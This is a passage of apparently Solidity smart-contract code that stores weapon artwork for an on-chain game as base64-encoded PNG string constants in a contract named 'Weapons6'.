1TRDzT73enAxKrbs5N85fkIv7GYIQS804H2PR4j0WivsKiSyWKUaS7STj8yvr3jU8778jeuYwML84d2745PfcLhQHz78PDw19N3ZzWKfb3Ubh9uXMFE/RcRAeRmf3l6stY9glHk8Z9ILPeUCz7vAwI4+/eBS6y/PYmQZgnRwtpufmob8K04dJ2N8IcPNV6NAnffqpA1zoAVkEsUwEmoktTD9XndtleXV5HaAkzquIigUCOcMm+GV9YChDFrnns4ua0l8pj6BZlr7mxlrZfnhmVZs/hMsfGV8NnTP3WmvEmsNQ83A4ECo4MStcSZcaD9sGuWVwPbTsw9GLDDiWg5MyFytgPE3kpgG5CByG94QeNEkYq18VwRKK/mtZxYMXIjOnzLEs+a9Q68Ztb5IoC4FciD3ADkEhNrnXd17q3j0Z40PMgsali/NTyz7ARvbIWrFbcWMvTpo99QfRg7s13jfUE7JlAU1WPDVRU9H3QFE50LOEcEciGTx8hvXoyfTbRBsTwcfew06TxvvE2jrW2uGO6x3mrSlEY99tGjvRpkCOYS3iS2xpcWnfgSgXyHpixUpEqkGZIJhEVjKp5ofnMqnrgmcKBUiSbNTKkSTZICqakIM0MNkNzcDnNflZrbYSkVqND5VG4m8tyWWyw8t+dyJQJzLrdYTCOVXCxzRCMkNXEYzHyAZOa2SkMUqDIlTnM/lxgYmpNlGEs8M4z16WLUN9JtAtAvpBqlfYB60O50EDJj0eORLJjmrNXpINf9Su3ho2UVtfoIVDQrugNJWeWR2fafAMimWef3cxjQBUKG0fa3BWAl65w2k3zCkB6iuM2LpOqc13ARGSYjka+TFg3movOkmkQBilMSMRr6oOlLcJp1fuEnYUxKpkc5KUO9aRzxcu78IE9IRSsEaBHGCxI2ECnSi65AY5KPeDj0IicVv5gcJlIGl12BsMhinjCApvo0JXF2yFUw7wOMwzpf9GsQ+LpvHvoezFWjYl2BEVv3BViEfo4Of0alnRPRjzY1wEs6NH896MJInXQFwjBim5oL4uXhVwbKgs5AkhPyPMc58TAwjGnesZZp4W+BivHH4WPopd51BTOqa2P746Cx4Du/kYGlCquj84fMO/cGsGSgPJqzk1Tv3F7LjDebI58GlHWe8zB+jMhRIELd/+MlaRRcH60mRBadndhha+Glpy87Dz1UXR8HIlh2B5bh0Rzjnbf7WA5G2dEkI5R1H8vI3B9Ar6L9WzyZpJ3HMoyNlLwsFRjl1y//kISjeecTgwLp+1s+n1h7oR+lnVdinmB6vtfeYUFf1ncwCuOupULnCin2Pkx8WO5edmBudN9FJqmyPy/43BLXWnVnu9CnnYt5NFfM/W5M8mtYbN0AFyHZuOA/VjfeFwGV1fUAAAAASUVORK5CYII=";
}
contract Weapons6 {
string public constant weapon43 = "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";
string public constant weapon44 = "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";
string public constant weapon45 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAzUExURUdwTIhLK5vl5mXA4WAsLC1Wmj2LzDgYhDQcJxAUHyQVJ753KzlKUFdydyAuNyU6Xjxei0YcbNAAAAABdFJOUwBA5thmAAALWklEQVR42u2c21IbzQ6FW92S1lozJuT9n3ZfqOdgMCR/FWOyq+gL4qII/pDUOo9b+zk/5+f8nJ/zc37Oz/k5P+fn/Jz/15P4x/nGv0343Xz57jsAsL/8FwEbMjBfAA39exX8ALBFFiKQQPaBbzaxdlLofDURgUT/LhUDZWwH4cn4GiITrQHjGwUIRKC1HBtixAkGyEDL/q13JDJKaFna7iMiAocpTr6TaJ9OOBGztTb6CEREbDjovSdaQ+a3iRE7YsPoMRW/faf30VpDjpGB7zPETABA9j65Iqee0UfxjZHRWsv8rrsSQBz3Fbsj7APFN0Y05BjxfdcZo5+cTGRFkZFjJJAj0HJyfpdTPIsHhdj7GHWNBxrGyIj2REDc35bI0VqLiEPxvY+yRowERgbymQ4HrbW4vy0RWWKqb/Q+6rZEjowRyGcCAmiRce9yRu99jE2MvY95cSJHBkZu9E/Bi7jjm2oe2XvvPSJCB2CLgcgcGU+8uePd25XDydwYe+/TQ+sVeDpfxl14kGbQBZDRe+8jDsDfr7cc1+v38HQ5Mu4NXtSdm+l1xgR8GeP6cIc9VjyIrvITYYuDMDIiYjzjfmQBAmOMnpkJNGkToPui+/AyirBnZsYT9Lslzzl67zPEgiU30ek8E7aNcPTetz/naj7sfKNS/jFANUl0UpLuKoKI0fuYgtwvzF4tfLkBjp1vzN8vxBgSne6uZZcgkBkARu89XuvfMXoGtnOdAHMc3ldOAHSnm2shVYRAAojiwo0GYPTKFnBR/r/xjXGUQSLdRDe6GZ1cRG3Z15TfAF5o/nIDUInrG76vwsUYAO74muTmcnMa6e6LFmpa2LS/Abz+phl/v97Qe+QYd/XJrAy/ojyqtxtVBu2Oz0VzmrlT0kKq4CIie88EXn69/nbj79cX9IHIcXbYiPgqCU6PMfqRN4vuVPGR7k5yUdTJ0XsCuN1efr3S+Hp7QR+V8YzYQmJ8nT3uudQOqEXupHHiuTsXVf00xqhaqun28vKLxtvLS5VQiBijqpj42tgHROaJUE5poZmzFCxJAqLixrys+nV7eaH57eWGPrbfVAX+11/nQuw9J6CTNKdRKhVr2t/pzfXr9nJz48sNvcf+x44sT/nVJUpE5nZP5Ea6mU0Nk4uw4R2WWiLk7RdO9ttQor4gwUFshFqc5QHN3Lks0wLfaE6/bi80fwPYGuIqlx2911tp2fkWSdKyPPoP+nW7uVEY/U5gl6UO6D2B1kRWlDNftCzLotY+IqRFxFvCSwFnguXuZk4tnInC8gFgm+2ReELdOW1J0/m5k8uRCj4mbIgo64jA5XnhvMU7Ht15pPv+iFCVUCMGvjC8fQg4vQy5hRC3Uyr9kHBryOHydiuid7Qmbc7P3V3nVP8hYTytg4nsXToM0Ml7vMeETwNE9J6kzRB8V4ccxx4B4mkCpJuZOx/IbjvrAxniWQLsTrpTy6KPpbI+AMSTBJgkF2n5FPC9lh1PiiJ98lGfAr6/KU8CTJt8TuFTu/LPm8bX9LaQ5lw06xHkP0SI1tCawkkF5E4q/pBw+hMB0VpDJdGLMiBf/gz4MKZc1VEtAZqTQiRELcrxJ9/xNMKqYKcAGyD6omqzfv4fl+fwAtFaazLb2oHuvugvAO8JrwOcdZzZTEzldCrGfyOk8zINZ2l460PLRf87wBMhnbhKxUgAvmm4idSiGCP+CyENcR1ha8CR2ssXIXJk/MW0fzkAL90NEHAC9EWRY/wN4E6Ia3dA5AZuTSG6CzHGH8IdavqwTL5rk0IRQN2XpkoWcuBTESLmnHuZ3tSvBQxQ5XNkLipiII75x2zB3fFhjqeK0I0XAiISi1pDHIAZiDyp/VwITPHFQYgAr+XjHDM0uWmhMhKRVYuLVqecJWLrRsdorTUsJdEr031bZ4EOiLaIrgwgMyJCNJegcuc1yjnFIbR2NSGCG2BDk9nW1c9MQDSv/qDcXPeTuWkDS2t+pSeE2+pTx5DZooUuRGRmCbAGODJ3vXPzRUjHZVNPiJuOi4KQ01VLMiGaM2IT4b1x7B6b5pfl1RCAnVBGVxEKyBDdnGWObryfyx47W4sbL/PWCNg6hQOZmwB5IYboYk0g5EadIO5c+XJhPEZgJywdCxDdjFLIqVpVKUDgEV/jcuFFRsiLEJuOESrlkirgGjEejdQ3oZBYrnQ0kNu6utoBmCG5uZnJXaK7mbalwtbwZlcGMZZLayfJbTU1yM3m5CvkZmYmkZKZkGNkDeveNlRjBJcLg0kARSjITYiN0N3WdbVqGc6BYj4Y7OSAt+sIIwMQfTUX3QRErb1JpNu6WpnjnCo+GDxFwng5oehmcncBiEBuiOuUYrVeK0oDb30V24WEtUAmuVk1kMioYAdpXb3EuDVgle+m1qCxXUlYSwltEmouKNQeiiS6reu6upMlyHdrCai0+vKuiNy8coN5K2orRiK91hgKMuJeiMi5dXM9IZE9wSmqmRYCc75jU9GI0Ea4rX7FcwiRPY0kVXsV0pQn3R2oQaMTAc35F57b+0LvziJ0r1Rf81VdEYoFOH3juymYXy5AX2cc1lSq1ehuvqKMjkD9yINhjl8sQGgSqknahmMTs9Z9zCITJdIHa0Z+MWCTre5edZwkqa5MydBIuWcmSut6MBfwa1XcipCz0gRm8b5ROsVM7IYp4YldYszJ+7o6nQKOxa5J6UZFT9IOxHeEdrEIm2ir02vX4pydSqRa9JRo5mZGeyTEawlRhIZaBbkvOKTWomdrksxqUY44nfqx9ULCzEyIhp6gdC4xt/xn7vNIRnNuu113nvtCwhKDiI7as30HiOxz7VJGQ+RMh1Sh52otb7rsCaPr0SVAbcwjmoToEYBmvD5++nLCDlv9Q8LovWdGIHrhbfssR9f/4riMhMyc/raFOQ1h7mVOPt/35VxPIkSiaSYJfrfUfxhr1DN4s4x2J53nMbxfzNeajKxtnweEG2LKtz+ETj/HPr+Yr8mMm23pgzvfGldbjdtG1V1w9osczb4ZLXOrxdGD8H6nsbXGdV2LsHJFPDGDFXfCfeKDN3yN62qrGZ3ueLs571cDurEMcR+anZ7nLHWq6lJj9t73wdCzCN1YIjwA59LwAUhbV7PsPQHq7baKXw64Efouwi0Lm/dBXNcVsx5UeyqhfDW6SU4/3GHOtX7sT1GsKyJsk/LzCGW+mtHUNENtAbS5H37cdqzEsbf5NDuU+Vqz7yZyC3mnN89TG4/km2nF9YQyWx3Zz0+LHXy7LTZkT1Ef+fPrCGW22k74BjB7biGnqq2PI85VhDLnuporj6dicOabnz2D4tuLwacRypy2mulU3p3Uu4szak28Cvv2PEK5U76aq23b/u8j9wQsPp73r68nlFNN5qo9yP7hWhdCdFv/APj1hHLNLw31hDE+AoTbalYp4fMI6/ldtQPwo6GcAtVrd35mhl/dxz6VIhPwAxGKjtWMpNcmp55EeFfQ954f2KHotNVYKQ8f7rJfTFif/JFHHvMua5wC5LYN254qw2qI9ASQDwhFn9Mep2pP7ZNftlzFl4mG6si9fQqLNidmW9/z01+3XASI+tyonu8/nkL3gH86y0V822fizPzrHpDm/pd8X06IfZZd/qa9I5QXIP8S8IsJUda3O0S0+0+8ak3zeeS/5ftiwm0RqvzNfACqvRGhkf8F8EsJT4A4AN95QiO/ifAt4EPCqku/i/AEWNnzw2jHj64Jn6DlE2v2D/IFn48kv+P7KDIvFwA2NPQPUh/x4VX+JHm4hPDxJxRujOJbLXN7EvMR44V7Dp9C6v47U7KPzNPbd5yzsLhrn/8Q4Q5ZX+b90cOHHtfvAiQl0SXtKwVuj6qB9dsA64HMuepHr5cPEO37CDfGycfHfuiRHf4PZoV7hFtCo5QAAAAASUVORK5CYII=";
string public constant weapon5 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAA8UExURUdwTEaCMkAnUSVWLuvt6Wq0I1dydyAuNxAUHzlKUHo2e8ZRlzQcJ6i1st+EpYhLK2AsLHWnQ753K0EdMRSrRlYAAAABdFJOUwBA5thmAAACHklEQVR42u3bwZKbMBCEYQyWRmPAayfv/66ZEbAFx1RSyZ9N92H3+lWjAcnYw6AoiqIoiqIoiqIoiqIoiqIoiqIoiqIoXzOWIfum220ytu92IwPTN8GBE3kNGn8NvumXOIFgoYBfH5hDwp6S9/tfAGoR/lKF4WPfqic2EL8j7B1+18lCURRFUf7u45juczqwwoFe2ftBq5X9Iauv1Zx8KllXjxCF5V72Ao0JvN/vvUBzVIW9t1ODu48D7L2dR2QHYoRHg9v/uMdUWoWXJs2ZwFKOJs8VGugG8zkpWaHD5jh9V6GhhiRyBh5CA7VXTpeYtl3t5YWwULcGO5Cq25ff9WGHq+9U4PWxRwCO47itQWqD4/NxJQ444PMBJsYa7EIscQOGcD6IXOFOLEjg3IUbESmcH89xJ+KECcwV+BzH7TojK5w3YUjn1ohj0oe4A80MKewDkr7c7TdqheFzpwqjwvCteZCjVjiHb12tZZhzYnXzGQ/YhWOc5brPKg/Yd9bNPH0xJEhhKS2FcZ1rjDJQmMnlBxdGPITWHCpMZM7K0rjAELZleS1s4QsubOH7IAuHtnx7SSihhBL+CeGHhL9H2Li/FOvC3Gc7lRjClu8Xod9i6FsHW/txvlG/j5TnZUeel/fU7gN+qnQk332SfbHDzgLRN0M38iFqO44OiqIoivIfPVqaeb7Ua9z+vG5CapOfQuB7s7Mw/4CFHr76s8Iff7IbZ1W3ulwAAAAASUVORK5CYII=";
string public constant weapon6 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAABLUExURUdwTGAsLFdyd3pIQWzbPTlKUDQcJxAUH+vt6SAuN0EdMSU6XufVs3o2e4hLK9e1lMZRl0AnURcgOE+Pujxei4GXlnUkOL53K6UwMEosRAAAAAABdFJOUwBA5thmAAACqElEQVR42u3a23LiMBAEUNuSLAvfMMFh//9Ld1qyDansS7JVce9WNykgb6dmRkI2VJWiKIqiKIqiKIqiKIqiKIqiKIqiKIqifCdpXUMi5qU1pYZXmMIKIK0whWZdG4QV2DQ2gMmctEDjhRASb4tRvcaErMCUC9j3PS3Qanc3X3/jbXH/dicGpurWv0FICrTc7hnYC/htoLUYQgH/sse3irqE1ECUkBtY9XdyYNXfyIHW5kpARVEU5f9OYvcJ+KX4zucX//RxCbuuy8zOP32JroLmy8Jy/yjx3YErQF+VG3BQEgrxZ75QbsPRrWRfitg04OU+E42ff3Z5A5KUMC/grizjIi0t3u5Vk1TwAOatMH9NEs7usc95WR4vnyKhACE8eVPpvP8DGyU8epxOBMYYPxK3VXyU8NQeAzgur0S/mcsUFmA6tcVxue5EBLxxLEAr4elfN+USmjATkRgX+z8DK44dGiU0IaqILCO8sfNEH71Wwiuq5pBMJPLtJbyOzs3zsAmZgHsJ3TzYAz4T0gEX+Ab4hkxk8hVh9kWbQnuaHZlwB6K5+dmEfMBhB87mc45uCA/gbHFxcGwbjcPmZ821ThtvtlFk2wmxV0cs5DnzHOFGCCDaCx7fPogCLrFs0y6GFOl8I3zluBBxUI1kDd7PMhbcUWASZuBHH35YxiMsJ/zYlRf013zBoETAIzswoJIVF9D77Q1GMMb3C88M7tfu+xv8apBK+Cm4zowXaqHNX7z8IhYiEkoooYQ/JXyXUEIJJfwpYd22LbEw1tM01cTCeno8pppYWGcfMbB9oMPEU9iiv9wlNN1EPYXW34l7naDPj4nZByG3z4SVoiiK8g+F+fi1H3Bach+10IATORCnrxaTSKpsJ5xgW+JG45CNywDmUWxxQf/la5XfuMco2LneOdcAAAAASUVORK5CYII=";
